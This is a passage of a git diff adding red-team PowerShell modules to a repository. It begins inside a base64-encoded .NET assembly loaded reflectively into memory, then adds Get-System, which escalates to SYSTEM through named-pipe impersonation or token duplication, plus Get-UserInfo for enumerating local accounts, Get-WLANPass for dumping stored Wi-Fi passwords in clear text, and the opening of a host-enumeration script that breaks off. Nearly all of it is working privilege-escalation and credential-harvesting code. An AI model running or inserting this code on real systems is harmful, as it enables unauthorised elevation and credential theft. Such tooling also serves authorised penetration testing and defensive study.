AAACwBLwCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAJgCAAABADAAMAAwADAAMAA0AGIAMAAAABoAAQABAEMAbwBtAG0AZQBuAHQAcwAAAAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAAAAAABKABEAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARwBlAHQALQBTAGUAcgB2AGkAYwBlAFAAZQByAG0AcwAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAASgAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABHAGUAdAAtAFMAZQByAHYAaQBjAGUAUABlAHIAbQBzAC4AZABsAGwAAAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADEAOAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAAUgAVAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEcAZQB0AC0AUwBlAHIAdgBpAGMAZQBQAGUAcgBtAHMALgBkAGwAbAAAAAAAQgARAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABHAGUAdAAtAFMAZQByAHYAaQBjAGUAUABlAHIAbQBzAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAwAAADEMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $dllbytes = [System.Convert]::FromBase64String($i) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) +} + +[ServicePerms]::dumpservices() +$computer = $env:COMPUTERNAME +$complete = "[+] Writing output to C:\Temp\Report.html" +echo "[+] Completed Service Permissions Review" +echo "$complete" + +} \ No newline at end of file diff --git a/Modules/Get-System.ps1 b/Modules/Get-System.ps1 new file mode 100644 index 0000000..17f5c41 --- /dev/null +++ b/Modules/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Modules/Get-UserInfo.ps1 b/Modules/Get-UserInfo.ps1 new file mode 100644 index 0000000..6fca640 --- /dev/null +++ b/Modules/Get-UserInfo.ps1 @@ -0,0 +1,43 @@ +function Get-UserInfo +{ + Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime';EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}} + $arr = @() + $Users = Get-WmiObject -Query "Select * from Win32_UserAccount Where LocalAccount = True" + echo "" + echo "======================" + echo "Local Users" + echo "======================" + $Users.Name + $GroupNames = Get-WmiObject -Query "SELECT * FROM Win32_Group Where LocalAccount = True" + echo "" + echo "======================" + echo "Local Groups" + echo "======================" + $GroupNames.Name + + $hostname = (Get-WmiObject -Class Win32_ComputerSystem).Name + echo "" + echo "======================" + echo "Members of Local Groups" + echo "======================" + foreach ($Group in $GroupNames) { + $GroupName = $Group.Name + $wmi = Get-WmiObject -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$Hostname',Name='$GroupName'`"" + + if ($wmi -ne $null) + { + foreach ($item in $wmi) + { + $data = $item.PartComponent -split "\," + $domain = ($data[0] -split "=")[1] + $name = ($data[1] -split "=")[1] + $arr += ("$domain\$name").Replace("""","") + [Array]::Sort($arr) + } + } + echo "" + echo $GroupName + echo "======================" + echo $arr + } +} diff --git a/Modules/Get-WLANPass.ps1 b/Modules/Get-WLANPass.ps1 new file mode 100644 index 0000000..727f7d2 --- /dev/null +++ b/Modules/Get-WLANPass.ps1 @@ -0,0 +1,14 @@ +function Get-WLANPass +{ +<# +.Synopsis + Retrives password from stored wlan profiles +.DESCRIPTION + Retrives password from stored wlan profiles +.EXAMPLE + PS C:\> Get-WLANPass + Output stored WLAN Profile passwords +#> +$netsh = (netsh wlan show profiles) +$netsh | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize +} \ No newline at end of file diff --git a/Modules/HostEnum.ps1 b/Modules/HostEnum.ps1 new file mode 100644 index 0000000..c760e07 --- /dev/null +++ b/Modules/HostEnum.ps1 @@ -0,0 +1,5057 @@ +<# +Invoke-HostEnum +@andrewchiles +https://github.com/threatexpress/red-team-scripts + +Future Additions +------------------ + + Check Windows Update source, is WSUS configured + LLMNR and NetBIOS over TCP/IP Settings + RDP Settings HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server +#> + +#requires -version 2 + +function Invoke-HostEnum { +<# +.SYNOPSIS + + Performs local host and/or domain enumeration for situational awareness + + Author: Andrew Chiles (@andrewchiles) leveraging functions by @mattifestation, @harmj0y, Joe Bialek, rvrsh3ll, Beau Bullock, and Tim Medin + License: BSD 3-Clause + Depenencies: None + Requirements: None + + https://github.com/threatexpress/red-team-scripts + +.DESCRIPTION + + A compilation of multiple system enumeration / situational awareness techniques collected over time. + + If system is a member of a domain, it can perform additional enumeration. However, the included domain enumeration is limited with the 